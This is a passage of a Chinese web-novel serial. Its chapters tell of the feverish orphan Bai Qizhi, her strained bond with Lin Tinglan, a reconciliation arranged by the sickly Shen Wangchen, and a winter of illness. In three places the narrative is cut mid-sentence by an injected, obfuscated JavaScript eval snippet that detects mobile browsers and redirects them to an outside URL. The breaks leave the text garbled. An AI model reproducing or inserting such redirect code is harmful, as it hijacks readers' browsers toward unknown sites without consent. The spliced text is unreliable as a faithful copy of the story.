林听澜赶过去的时候白栖枝已经烧糊涂了，一直抓着春花的手哭，嘴里还念着什么“回家、回家”的，看起来可怜极了。 夜里不好请郎中，林听澜一边骂她事多，一边命人烧开水给她灌汤婆子。 林听澜来的急，身上只披了件大氅，白栖枝住的后覃房里从未燃过炭火，下人们进进出出，带来的冷风凉得他直起鸡皮疙瘩。 “大爷，水烧好了。” 林听澜就站在门旁边，闻言侧过一步，下人见状赶紧走上前去，将尚有些滚烫的汤婆子塞进白栖枝被里。 春花帮着掖好被角，下人退下，朝林听澜一礼，离开房间。 林听澜往里走了些。 后覃房内没有灯火，月光从薄薄的窗户纸外渗了进来，打在白栖枝的脸上，浮起一片惨白。 “大爷。”春花想要起身行礼，奈何白栖枝抓她抓得太紧，她挣了一下没挣开，有些惶然无措。 林听澜没有理他，只是朝白栖枝看去。 后者满脸是泪，在月光的映照下，恍若是从皮肤里渗出来的水。 林听澜光是看了一眼就错开眼，不敢再看。 “好好照顾她。”他说。 说完，就转身就要往外走，却又在看见黄梅架上衣裳时顿住脚步，鬼使神差地凑上前去，拎着衣角用指腹捻了一捻。 寒冷的雪天，白栖枝穿着的还是下人们初秋时才会穿的衣服，一件御冬的衣裳都没有。 “她就只穿这个？” 听出来林听澜话语中的愠色，春花垂眸答道：“府内没有与白小姐身形相似的人，再加上我们这些下人御冬的衣裳本就有数，所以……” 也就是这么多天来，白栖枝一直就只是穿着着么件单薄的粗布衣裳在府里跑来跑去？ 她才十四岁，她怎么受得住？ 想起昔日随爹娘拜访白府时，但凡有落雪，白栖枝必定会裹得像个大发面馒头般出来迎他的模样，难得的，林听澜打心底里生出了一股愧疚感。 恰巧这时白栖枝又被什么魇住似的，又紧抓住春花的手，哭着说她要回家，要去找阿爹阿娘和阿兄，要和他们一辈子在一起再也不分开，还说什么“林听澜是大坏蛋，欺负她，她再也不要跟他玩了”一类孩子气的话。 “大爷？” 听到春花试探性地一声唤，林听澜转过头去就看到白栖枝抽泣着渐渐安静了下来，带着泪痕深深睡去了。 一旁的春花还在小心翼翼地看着他。 “让她好好歇着吧。”林听澜摆摆手，出了门，又对侍在门外的丫鬟道，“去给端来几个炉子给她烧上，还有御冬的寒衣，一并送过来。” 那丫鬟面露难色道：“爷，府内没有多余的寒衣了，若想要，得明日叫匠人去赶……” “那就明早叫他去赶！”林听澜脑子一片混乱，见那丫鬟一副吞吞吐吐，登时便有些生气，“还有什么事？” 丫鬟道：“爷，方才那动静把沈公子惊醒了，正叫您去呢。” …… 林听澜匆匆赶去时，沈忘尘的屋子里果然亮着灯。 此时已经不再下雪了，满地玉屑被昏黄的烛火映着，泛起了橘黄色的光，在这寒冷的血液里竟也生出了几分暖意。 自从沈忘尘的腿断后，他再没留林听澜在屋里过夜过。 这还是林听澜第一次这么晚来到沈忘尘这儿。 身上还带着冷风味儿，进屋后，林听澜并不急着进去，而是将身上的大氅挂好，又站在炉火旁暖了又暖，确定身上再没一丝凉意，这才轻手轻脚地走了进去。 与白栖枝的屋子大相径庭，因沈忘尘身子败了后总是畏寒，他的屋里不仅燃了四五个火炉，还烧了炽盛的地龙，若有人裹着袍子进屋，不一会儿颈上就会热出一层薄薄的汗。 沈忘尘此刻正倚在床上研读书本，听见声响，头也不抬，只将书翻过一页，轻声道：“来了？” 他这一声咬得极为轻柔，但林听澜知道，这是他生气的前兆。 “唰啦——” 书又翻过一页。 沈忘尘又道：“听说枝枝大晚上的发热症了，你方才去看过了么？她怎么样了？” 一时间，林听澜也不知道该如何回答：说没去，估计忘尘早就知道他去过了，这么回答是骗他，他会生气。可若是直截了当地说去了，他又怕忘尘会吃醋。 林听澜想了又想，才道：“只是去看了一眼，也没什么事，我去的时候她已经睡下了，一旁还有春花陪着，不会有什么大事。” “是么？”沈忘尘将仍是不抬头，只是抬手他自己面前的桌子，轻声道，“阿澜，坐。” 桌上一片红艳艳。 林听澜顺着他的目光看过去，就看见白栖枝从外面带回来的那包红果子正大大方方地摆在花梨木桌上，上面包裹着的糖衣，正随着旁边烛台上摇曳的灯火，一同在房间中晦暗不明。 直到林听澜乖乖坐了过去，沈忘尘才恋恋不舍似的合了书本放下，朝他微微一笑道：“尝尝？” 尝尝。 林听澜捏了一个果子放到嘴里。 这东西，开始是甜，后来就是无穷无尽的酸，可当这东西被咽下去后，生津的唇舌竟又能觉出几分甘来。 林听澜已经好几年没有吃这东西了。 印象里，小时候的白栖枝最喜欢吃这些拿不上台面的小玩意儿，每次在街上买了，就要分给他一串尝尝。 她总是说这东西酸酸甜甜的，特别好吃，无论是谁只要吃了第一口就一定还会想吃第二口，她特别想让他也吃吃看，说不定吃了这个，他就不会一直板着脸不高兴了。 本来，林听澜对这种小玩意没什么感觉，但因着这东西是白栖枝最喜欢的，所以他最讨厌了！ 于是，当白栖枝将糖葫芦递给他的时候，他毫不犹豫地将它丢进一旁小乞儿的破碗里。 “我才不吃这些破玩意儿。”他说，“这么脏的东西你爱吃，就自己留着吃去吧！” 后来他应该是还说了一堆话，但时间过去太久了，他忘记了。 “好吃么？”沈忘尘如此，说道，“我也好几年没吃过这东西了，也拿一个给我尝尝吧。” 林听澜小心翼翼地捏了一个。 沈忘尘的屋子太热，红果儿外面的糖衣已经有些化了，捏在手里黏黏的，在喂给沈忘尘后，他的指腹间还留下了两片糖渍。 林听澜自己用舌尖卷去了。 沈忘尘直到咽下后，才开始切入正题：“阿澜，我一直当你只是年轻气盛、心直口快，可你怎么能随意拿枝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764776|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枝的家事来羞辱他呢？你这不是在借着她身后空无一人，没人为她撑腰而欺负她么？你实在是太叫我失望了。” 林听澜想说些什么，却什么也说不出。 他当时在气头上，觉得白栖枝实在是不争气，学了这么久还是说不出个所以然来，一时口快，所以就…… 其实这话说完后不久他就后悔了的，但他又拉不下脸朝白栖枝道歉也就只是没去找她，谁知道那小丫头这么倔，一声不吭地就跑出去——但凡她平时里能拿出她今日跳湖的勇气来朝他服个软，他又怎么可能难为她。 他就是有些看不惯，明明那小丫头如今是寄在他的篱下，凭什么她还觉得她能和自己叫板？ 想着，林听澜不敢去抬头看沈忘尘那双平静若秋水的眼眸，只盯着他那双锦被下细得过分的瘫腿看，抿着唇一言不发。 还是沈忘尘先揽过他的手，同他语重心长地讲话：“阿澜。我知道你因着她的身份而对她不喜，可是，这绝不是你欺负她的理由。是，她是些倔，你想要好好磋磨她，让她少几分锐气，这想法没错，可她是一开始就不懂事的吗？难道不是你一直再拿她家里的事激她，她才对你如此抗拒吗？” 说完，他匀了口气，又反问林听澜道：“阿澜，如果出事的不是白家是林家，如果是林家被灭门，如果林家只剩你一个人，你无权无势，手里只有张幼时与白家的婚契，难道你不想先投靠白家，找个安身立命之处再做长远打算么？你想想，如果你二人身份互换，你去投靠那孩子，那孩子可会这样对你么？” 最后一句话算是说道林听澜痛点上了。 他知道白栖枝不会，因为这家伙就是没头没脑的蠢货！ 从小到大，无论他怎么欺负她，怎么羞辱她，她都像一个傻子一样不生气，甚至还能摆出一副笑脸来继续同他说话。 他一直以为白栖枝对他的恶意是没感觉的，所以无论他说什么，那家伙也不会往心里去。 可是如今……如今她怎么就知道反抗了呢？她怎么就不像她了呢？如果她再不是当初那个只会乖乖跟在他身后一声声叫他“林哥哥”的小傻子了的话，那她日后又会怎么对他呢？ 一时间，林听澜似乎有许多话想说，他张口，抬头，却在对上沈忘尘那双清冷自若的眸时一时失语，什么也说不出了。 “咕噜。” 喉结上下滚动一番，林听澜舔了舔自己干渴的唇瓣：“忘尘，今夜我们不说她了好么？”他几乎是在求饶，像一只恐惧黑暗的小兽般将脑袋抵在沈忘尘脖颈道，“忘尘，我们不说她了，我们睡吧。” 沈忘尘能听出林听澜这口吻中的害怕，但他并不知道林听澜在害怕什么，可是面对他这般撒娇似的求饶，沈忘尘不得不承认自己心软了。 “以后你不许再欺负人家小姑娘了。”他拢了拢林听澜鬓角的碎发，温声道，“日后你要记得对她好些，不用担心我的想法——她还是个孩子，我不会糊涂到吃一个孩子的醋，知道了么？” “嗯。”林听澜低声应着，忽地起身，看着他被烛火映得波光粼粼的眼，良久，开口道，“忘尘，我们睡觉吧。” “不成。” 看着林听澜略带些委屈的疑问神情，沈忘尘叹了口气，收回手来捋了捋自己垂落至胸前的发丝，悠悠道： “阿澜你压着我头发了。” “好痛……” 15. 谈心 自打病好后，白栖枝就觉得林听澜最近怪怪的。 这人最近好像总是在看她，看也看不明白，就是时不时瞥上一眼的看，看完什么也不说，就是看。 白栖枝最近躲林听澜躲得老远，她总觉得那人最近往她边上凑指不定藏着什么坏心思呢。 估计又要找她泄愤。 由是，每次林听澜命人找她来一起用膳的时候，白栖枝不是说“不用不用，吃过了吃过了”就是说“不用不用，屋子里还有点事儿，先走了先走了”，并且她这话术不分早中晚，哪怕是晌午刚结束课业，她也会说自己“吃过了，吃过了”，然后抱着自己的小算盘逃之夭夭。 就这样连续坚持了三日，白栖枝不负众望地在某日赶来书房的路上，饿晕在雪堆里。 如果不是有侍女搬账本的时候经过这条路，估计全府上下都找不到这位在道旁“倒头就睡”的小雪人儿。 这事儿听起来有点可怜，又有点好笑。 见她这般抗拒，林听澜便再没留她吃过一次饭——毕竟不亲近总比让她自己把自己饿死好。 两人关系就这样一直僵着，见林听澜如此苦手，沈忘尘给他出了个主意。 “淮安的姑娘家大多喜欢在闺中荡秋千，你给她绑个秋千，没准她就开心了。” 对于沈忘尘的话，林听澜一向听得很。 这不，这主意上午提出来，下午不到未时一架秋千便绑好了。 被侍女蒙着眼带到秋千前的时候白栖枝很高兴，被允许坐到秋千上的时候白栖枝很高兴，被侍女姐姐高高推起来的时候白栖枝还是很高兴。 她只当是沈忘尘见她这两天学得认真叫人绑了个秋千给她放松放松。 直到听见这秋千是林听澜命人绑给她的时候，她原本笑得团呼呼的小脸一下子沉寂了下来。 纤绳前后摆了两下便停在正中央只余下微微的晃动了。 侍女想上前去推，就见着白栖枝脚尖抵着地面，松了手，从秋千上站起来了。 “白小姐怎么不玩了？” 面对侍女姐姐疑惑的神情，白栖枝站出好远，抬头，看了看那架被绑的精致的秋千，摇摇头，呵出一口冷气：“时辰不早了，沈哥哥晌午安排的课业我尚未做完，就先回去了，姊姊也快去休息吧，莫要因我误了公事。”说完便转身离去。 自此，这架为她而架的秋千再没被她碰过，上头落满了雪，平白误了好年华。 白栖枝一直有意无意地避着林听澜，这点让沈忘尘也有些苦手。 毕竟他能教她的东西就那点，至于具体怎么做，日后还需得让她跟在林听澜身边慢慢学、慢慢看，这才能悟出些东西来。 可如今这小姑娘躲林听澜躲得厉害，别说日后要代他陪林听澜一同在商业圈里开疆扩土，就连陪林听澜出席这点子微末的小事都做不到，这让他怎么能不担忧？ 哪怕是为着这么点小小的私心，沈忘尘都觉得自己应该找白栖枝谈谈。 也不是他愿意多费口舌，实在是他如今腿也瘫了，手也不好使了，浑身上下只剩下一副唇舌和一颗脑子还算灵动自如，除却讲些道理之外，他还能做点什么呢？ “今日不讲书。” 看着面前一桌的茶水糕点，白栖枝犹疑又小心翼翼地看向沈忘尘，怀里紧紧抱着那把他送给她的香楠木算盘，看起来下一秒就要告退溜走。 果然，下一秒她就听着沈忘尘悠悠继续道：“今日就暂且谈谈关于枝枝的一些事吧。” 白栖枝立马明白了他要谈什么，腿下意识地抖了一下，身躯微微前倾，想要起身行礼告退，却又在对上沈忘尘那双含着笑意的清润眼眸时止住动作，慢慢坐了回去。 她怯怯地，抱着算盘，垂下眼看着满桌的糕点，唯独不敢去看对面人的眼睛。 小孩子的知觉总是准的惊人，打林听澜命人给她绑秋千的时候，她就知道他们早晚会有一日会把自己搁置在房间里，谈谈她的某些想法。 说是谈谈，其实不过是叫她多加顺从，不要忤逆，学会看林听澜的脸色过日子罢了。 她都知道的…… 低垂的眼睫轻轻颤，举目尽是鸿门宴。 白栖枝并不打算碰这桌子上的任何一样东西，直到—— “这是我今早专门命人从宋记排队买回来蜂糖糕，枝枝尝尝？” 修长白皙的手递过来绵软雪白的糕点，白栖枝眼眸微抬，看向递到她面前的那只手。 她一直觉得沈忘尘的手很好看。 瘦削的、修长的，骨节如竹，可见青筋，就连指甲都修剪得圆润干净，白皙细腻宛若莹润通透的汉白玉，却因着病得太久，总带着病态的青白色，不见青年人的朝气蓬勃。 此刻，就是这样一只画一般的手，正递上来一块软甜蓬松的蜂糖糕，试图用这个来卸下她所有的心防。 白栖枝就这样定睛看了一会儿，最终还是选择放下怀中的小算盘，伸出双手接过那块并不算贵重的糕点，细细地咬着。 是了，这东西不算贵重，甚至算不得有多么难得，但为什么沈忘尘偏巧要着重说出是专门命人排队去买的呢？ 蜂糖糕，这东西本是夏季才在大街小巷流行的东西，过了秋季就很少有人再买了，也正因如此，很少有店家会在冬日里专门卖这个。之所以要排队，是因为没有存货所以要现做，现做的话时间就长了，可不要在铺子里慢慢等着？ 倘若白栖枝再愚钝一些，或许就想不通这番话的症结所在了，可偏她聪慧，由是一个人从长平独自闯到淮安的，一路上风俗人情、大小事由既经过她耳她便很难忘记，自然也不似那些从小被束之高阁的大家闺秀那般好蒙骗了。 白栖枝小心翼翼地咬了口糕点，细细地嚼着那口甜的发苦，缄默着，等待沈忘尘的问话。 然后，沈忘尘就问了：“枝枝最近是有意在躲着他的，是不是？” 白栖枝：“是。” 沈忘尘：“为什么？” 白栖枝：“没有什么原因，只是想躲着。”说完，又觉得自己这番话太轻蔑了，接着补道，“惹不起，总要躲得起的。” 感受到她对提起林听澜的抗拒，沈忘尘默了默，也拿起一块糕点同她一起吃：“枝枝是在恨她么？” “没有。”白栖枝几乎是吐口而出。 沈忘尘：“为什么？” 白栖枝想了想，捏着手中蓬松的糕点，咬得它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764777|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受了些皮外伤，“他从小就那样，我早就习惯了。我不恨他，相反的，我觉得他做得挺好的，至少他没装过对我很好，没有给我过什么好的念想，让我知道也习惯了他就是这样的。虽然说有时候我也会好奇这十几年来他为什么还是没有长进，但这总比眼睁睁看着一个人好好的人突然在自己眼前烂掉要好得多吧？” 这话听得站在屋外的人心里不是滋味。 林听澜一直以为白栖枝只是傻——因为她傻，所以自己怎么说她她也不生气；因为她傻，所以自己可以毫无保留地厌弃她；因为她傻，所以也可以任意处置她。 可她真的傻么？ 如果她傻的话，那为什么从小到大所有人都夸她冰雪聪明呢？如果她真傻的话，自己为什么这么多年来都比不过她呢？ 她不傻。 她太知道他对她的态度了。 她一直在装傻，傻到任他欺负，然后一点点地断掉她与他幼年相识由是两家世交的那点微薄的情谊，对他不抱有任何幻想，免得自己日后会真的和他产生什么不必要的交情出来。就如同她说得那样：一直知道面前人个什么好人，总比看着面前一个好好人突然在自己眼前烂掉要好得多。 这是她被当做小傻子被欺负这么多年来，一点点探索出的，用来保护自己日后不伤心的小小手段罢了。 可他竟对此毫无所知。 “可是，他这人也挺好的。” 窗后又传出小姑娘低沉的声音，林听澜凑上去听。 屋内，白栖枝低头看着自己手中的糕点，说道：“虽然不知道他现在会不会，但在小时候，他会给街边快要饿死的小猫掰面饼子吃，遇见抱着孩子出来乞讨的叫花子也会赏给他们一片小小的金叶子，就连扔掉我给他的糖葫芦他也只是扔到旁边小叫花子的碗里，不像别家的纨绔子弟，非要把东西踩在脚底下糟蹋。相比于其他那些被惯坏了的大家子弟，他这样，也算是不错了。” 说到这儿，她顿了顿，又道：“我一直以为他是个坏家伙，但是，渐渐的我发现他也不是很坏，他不是非要欺负人，他只是不喜欢我罢了，但不喜欢我又不是什么错事……有些事，大人们总觉得这个必须、那个必须，就好像我阿爹阿娘和他阿爹阿娘好，所以他也必须要和我好一样，这样未免有点太难为他。既然他都如此为难了，那我也没必要让他更为难，既然大人们都想让我们两个关系好，那我就装作和他关系很好的样子就行了，不然林伯父和伯母他们回去后会偷偷训他的吧？” 嘶—— 像是有一团干燥的棉花堵在了胸腔中，林听澜总觉得自己喘不过气来。 明明她还那么小，怎么会想得那么多呢？她又不是从小受尽屈辱要天天看人眼色过日子的人，她是从小白府上下捧在手里怕碎了、含在嘴里怕化了，千娇万宠才宠出来的大小姐，她干什么要想这么多呢？ 她这样想，岂不是显得他更加不知事了么？ 白雾从口中打着颤地往上飘，林听澜实在是心里堵得上不来气，刚转身要走，就听见屋内那小姑娘又轻飘飘地说道： “好了沈哥哥，该说的话我已经交代完了。天这么冷，还是让那家伙进来吧。” …… 16. 和好 林听澜顿住脚步。 屋里，白栖枝小口地咬着手中的糕饼。 “沈哥哥其实一直是在套我的话吧？”她淡淡说道，“毕竟沈哥哥这么聪明，又怎么会突然问这种没由头的事。这种套话的手段实在是太拙劣了……您是怕我长大后会做些对林家不利的事么？” “不会的。”见无人开口，白栖枝自顾自地说着些题外话，“我没必要和一个心智长不大的人置气。我娘说了，男人至死是少年，我爹以前也很幼稚，好大的人了，没事还会折枯枝在院子里当剑耍，被我和我娘发现，我娘就跟我说：‘男人嘛，成熟的晚。别看你爹好大个人了，但其实内心和二三十岁的少年差上不了多少。反正是在自个儿家里又不丢脸，他爱玩，就让他玩去吧。’我爹四十好几的人都这样，那林听澜估计更是这样，虽然看起来二十有二了，没准内心其实比我还要小。我不会跟一个小孩子置气的——现在，可以让他进来了么？” 沈忘尘一直以为白栖枝是个单纯的小姑娘，就是那种聪明有余而阅历不足，虽玲珑剔透但总是缺些人情世故的那种，从小被豢养在闺阁的千金大小姐。 可不是的。 如今她能说出这番话来，足见她心思细腻、通情达理。 既然她如此说，沈忘尘也不再装作不知情，只是又轻声地问了一句：“你当真要让他进来么？” 白栖枝没说话，只是点点头。随着沈忘尘一声招呼，门外那个两肩上落满了雪的人缓缓推门而入。 白栖枝没有回过头看。 两人目光短暂地触碰了一下，沈忘尘朝他使了个眼色，林听澜有些别扭，但还是脱下大氅朝白栖枝走来。 熟悉的气息缓步逼近，白栖枝下意识瑟缩了一下，往旁边蹭了蹭，像只小刺猬一样抱着手中的糕点，也不吃，就这样静静地等着。 一般林听澜不惹怒她的时候，她还是很怕他的。不为别的，当初那一巴掌实在是太疼了，她记得清清楚楚。 可君子有所忍有所不能忍，一旦那人开始在她自尊心上疯狂肆虐凌辱的时候，又或者拿她家发生的那桩惨案来刺激她的时候，她就会应激似的一下子昏了头，什么都不管不顾了。 总之你让我不舒服，那你也别想舒服，大不了就以一赔一，宁可双输，绝不叫他一方单赢。 见小姑娘如此抗拒，林听澜也杵在原地不动作，下意识向沈忘尘看去。 沈忘尘第一次觉得人际关系是这么的难处理，他心好累，索性闭眼，让林听澜自主发挥。 “抱歉。”林听澜挺了半晌，迟疑着，伸出手，像拍好兄弟肩膀一样拍了拍白栖枝的头。 白栖枝：脑袋痛…… 手上传来软软的触感，林听澜往下看，就看着白栖枝一双小手搭在自己手背上。 白栖枝：蹭啊蹭。 小姑娘抱着他的手用头蹭来蹭去，活像一只可爱的小流浪狗。 不对，已经不是流浪小狗，从今日开始，她也可以是个有家的人了。 虽然林听澜还是解不开心里的疙瘩，但是，好像也不是那么介意了。 她强任她强吧，反正…… 正当林听澜还在内心中做自我斗争，白栖枝已经收了手，吸了吸通红的小鼻尖。 林听澜一开始还以为是她心情又在滴落，可当他视线下移，看到一个晶莹下坠的圆点，才发现原来是白栖枝在哭。 她从小就是这样，像个水做的人似的，动辄就要哭上一哭：磕碰了会哭，看见受伤的小猫小狗会哭，甚至在施粥时看到街边的小乞儿也会哭……总之，这天下大小事都能让她哭上一哭，导致林听澜以前总是懒得理她。 “哭什么？”林听澜第一次捏了捏她未退尽奶膘的脸蛋，没想到手感极好，他一时把握不住力道，痛得白栖枝哭得更厉害了。 白栖枝两只手攥拳，用手背狠狠摸了两下眼泪，吸吸鼻子，费力咽下口唾沫想让自己的情绪显得平静一点。 可甫一开口，她还是压不住自己的哭腔，说话都结结巴巴的：“没、没想到，你、你还会道歉，我还以为、还以为、你、你不会说这两个字呢。呜……” 白栖枝彻底破功，哭出了点声音。 她这样有点可怜，又有点好笑。 林听澜想笑又不好笑，又扯了扯她的脸蛋。 “好痛……”白栖枝哭哭脸。 说完，她又艰难地咽下一口唾沫，紧紧捏住林听澜的手，稳了稳情绪，小大人似的说道：“反正你已经道过歉了，那我就原谅你了。但是、但是你都以后不许再凶我了喔！你要是还凶我，我就！我就！” 某位小哭包一气之下气了一下，凶巴巴地擦眼泪。 林听澜忍着笑声，从嗓子眼里吭出一个“嗯”字，看着她一副傻乎乎的模样，他默了默，最终没忍住，又垂下手捏着她的脸问道：“瞧你这傻乎乎的样子，一路上没被人拐走也是神奇……你这样是怎么在流离的路上活下来的？难不成就是靠着这撒娇的本事？”说完，又捏住扯了扯。 “不是哦。”白栖枝覆上他的手，甜甜一笑道，“是运。” 林听澜并不相信：“是运？” 白栖枝抬眼笑道：“是运哦，因为运气比较好所以就活下来了。” 见她这一脸傻乎乎的笑容，林听澜虽觉得有什么不对劲，却也没有细想，只象征性地又抬手拍了拍她的小脑袋瓜以示嘉奖。 白栖枝很满意。 在林听澜收回手后，她从凳子上站起来，“哒哒哒”地绕着桌子来到沈忘尘身边，隔着衣袖握着他枯瘦嶙峋的手腕。 左手处隔着布料传来一阵暖意，原本在闭目养神的沈忘尘缓缓睁开了眼。 还是一样的动作，白栖枝搭住他的手，用毛茸茸的小脑袋去蹭他的白嫩得几乎看不出纹路的手心。 有点痒…… 沈忘尘的手指下意识蜷了蜷，抬头去看林听澜。 两人相视，在白栖枝看不见的地方彼此弯了弯唇角。 小姑娘还在控制不住地掉眼泪。 沈忘尘面前挪动屋里的腰腹，微侧过身来，右手费力地够着，勉强捧起白栖枝的小脸，用拇指指腹轻轻地揩去她那滴流到面中的泪痕，用哄小孩子的口吻道：“不哭了不哭了，不委屈了……” 白栖枝哭得更厉害了。 自从那天后，三个人的关系缓和了不少，林听澜也觉出白栖枝的一点好玩来。 若是课业不忙，她总会一头扎进不知道什么地方，但只要有人找她，她就又会不知道从什么地方冒出头来，大喊一句：“在的！” “白栖枝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764778|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “在的！” 看着面前人白白的小脸、白白的鼻尖，不知道的还以为她要去地府扮鬼差。 今儿是冬至，大家都在灶房里忙着包角子[1]，白栖枝看着好玩，趁着沈忘尘下午给她假去玩，就钻到灶房给大家打下手。 经过上一次的教训，林听澜在出门和几位老板谈生意时顺手给她带回了件儿红色的披风，但因为尺寸不合适，白栖枝穿着总是短一截，但这也不耽误她在府里“哒哒哒”地来回跑。 这不，今天她就裹着这件红披风，年画娃娃似的，和灶房里正在包角子的几位丫鬟一同嬉笑玩闹，搞得原本没什么生气儿的林府愈发欢快了起来。 这时她刚从灶房里跑过来，带着一脸的粉面，小鬼儿似的直直站在林听澜面前，一双水葡萄似的大眼睛亮得厉害，就这么定睛朝他看。 林听澜被她盯得差点忘记要说什么了：“忘尘说这几天天冷，叫你好好休息两天，等天暖和了他再教你如何管账，这几天你若是实在想学，就自行学习吧。” 白栖枝鼻子很灵地从他身上闻出一股淡淡药苦味儿。 “沈哥哥是不是病得更严重了？”她问。 确实是病了，沈忘尘自打断腿之后身子也跟着败了下来，冬日里，隔三差五便要病上几回，前两天倒还好，只是些浅显的风寒，可今早起来便低烧了起来。但他忍着，也不知道在倔个什么，非要给白栖枝上完早课才肯歇息。 自打他风寒后，两人中间便隔了道纱制的绣帘，除却帘子那头时不时传来几声有气无力的咳嗽声外，白栖枝不知道沈忘尘究竟病成了什么样子。如今林听澜亲自来传话给她，那就表示沈哥哥一定病得很严重、很严重！她该做点什么才好？ “先把眼泪收回去。”看着泛起泪花的白栖枝，林听澜道，“你沈哥哥他没事，只是发了热症，过两天应该就会好，你且好好待着，等他病好，就能接着教你了。” 话音刚落，原本在屋里服侍着沈忘尘的丫鬟跑上来，在他耳畔低语了两句，林听澜便头也不回的离开了。 屋内，沈忘尘刚发过一次痉挛，牙关紧咬着，痛得五官几乎都要揪在一处。 下人们抱着脏污了的衣物鱼贯而出，见到林听澜也只是欠身一礼，不敢停顿。 林听澜默了默，最后还是轻轻推门而入。 屋里的气味有些难闻，又因着封了窗，久久不散。 沈忘尘此时已经渐渐平息了，气若游丝地躺在床上，一张白皙面皮被烧的通红，眼尾还沁着泪珠，坠在纤长的眼睫上欲落不落。 他现在烧得正厉害，软绵绵的手却不知道从哪来的力气，一手死死揪住自己心口前的布料，令一手则仍是软软地放在身侧微蜷着，手指时不时地抽动一两下。 心爱之人活得艰难，林听澜也是一阵心痛。 他抬手，捋了捋沈忘尘被汗水浸湿的鬓角，摸摸拾起他那只揪着绫罗的手。 明明烧成这个样子，他的手却还是仿佛没有血液流通一般，僵冷着，了无生气。 林听澜看了看他心口处那层被他揉皱的布料，小心翼翼地将他的手捧在手心里细细揉搓着，长长叹上一口气，在心中祈愿道： 希望这个难捱的冬天能快些过去吧。 …… [1]角子:就是饺子。 17. 照料 希望这个难捱的冬天可以快些过去吧，这样沈哥哥就不用这么难受了…… 白栖枝蹲在秃秃的梧桐下，看着树下摇晃的斑驳光影如是想道。 她是很想去帮忙的，但府里一切都井井有条，看起来并没有需要她的地方。 如果她能帮着出一份力就好了…… “白小姐？” “啊！在的。” 不远处传来一声唤，白栖枝抬头，发现竟是负责看管灶房的侍女芍药。 按理来说，她此时应该在灶房帮沈哥哥煎药的，怎么会跑来这里？ “芍药姐姐。” 白栖枝刚起身，就见着芍药朝她欠身一礼，眼中含泪，急急说道：“白小姐，家父病重，奴婢想回去看望片刻，可是眼下沈公子的药还没有煎好，现如今大家都忙，奴婢实在是找不到人能帮奴婢一把了，恳请白小姐暂代看顾，待药煎成，我即刻返归，不会耽误白小姐的时间的。” 眼见着芍药又要欠身行礼，白栖枝一把扶住她。 “没事的芍药姐。”她说道，“你阿爹病要紧，正巧我也没什么事做，不耽误的。” “谢谢白小姐，白小姐的恩情奴婢没齿难忘。”说着，芍药又欠身一礼，白栖枝没有扶住，就见着她眼泪砸在雪地里。 白栖枝从袖子里掏出手帕，帮她把眼泪擦掉。 芍药谢过后将她带到灶房，简单嘱咐了两句便匆匆离开，瘦弱的背影衬在雪地里，薄得跟纸一样。 待她走后，白栖枝便蹲在药炉前，用衣袖捂住口鼻，捏着小鼻子，一丝不苟地看着炉子里扑腾的汤药。 这期间，除却几次被药的苦味熏了个跟头外，其他一切对她来说都不是难事…… 的吧？ 好烫！ 略带薄茧的指尖甫一触及药炉提梁还是被猛地烫了一下，没办法，白栖枝只能拿了幡布，小心翼翼地裹住提梁奋力将它提起来。 白栖枝不常做重活儿，装满药膳的壶对她来说还是有点重，她只能双手提着，将壶对准放在地上的青白釉瓷碗的碗口，小心翼翼地、一点一点地缓缓倒出。 她力气不足，拎到最后手腕用力到发颤，尽管她已经尽力避免，但还是毫无可避地倒洒了一点点。 “咳咳咳！”白栖枝被蒸腾起的药雾呛得直咳嗽，五官皱巴巴地纠在一起，眼里都渗出泪来。 自己只是一闻就被呛成这样，那沈哥哥喝的时候该多难受啊？ 心里有些酸酸的隐痛，白栖枝吸溜了下鼻子，视线朦胧地将铜壶努力抬高坐到药炉上。 随着一声悠长的“铮——”声响起，白栖枝这才松了口气，擦了擦额头上细密的汗水，拍拍手，将地上托着瓷碗的红木漆盘好好端起，起身朝沈忘尘的院子走去。 …… “笃笃笃。” 三声礼貌的敲门声响，林听澜心急如焚：“混账东西，怎么来的这么晚……怎么是你？” 面前，是白栖枝扬起的被白雾熏得朦胧的小脸。 见他这个反应，白栖枝就知道芍药因为事出紧急，没来得及和林听澜告假。 她说：“因为想要帮忙，所以就来了。” “你能帮上什么忙……”林听澜并不看好面前这个小豆丁。 他现在正因着沈忘尘的病焦心，面色并不好。 怕冷风钻进屋里，他赶紧关上门。 门关上时传来一股淡淡的、并不好闻的味道。 林听澜身子一僵，将白栖枝手中的漆盘接过，低声道：“这里也没你什么事，你回去吧，左右你现在也没什么事可做，就好好回想回想忘尘前两天都教了你什么，不然等他病好后见你把所学的东西都忘了的话，他可是要恼火的。” 说完，他转身就要开门。 “真的不可以吗？”背后传来弱弱的声音。 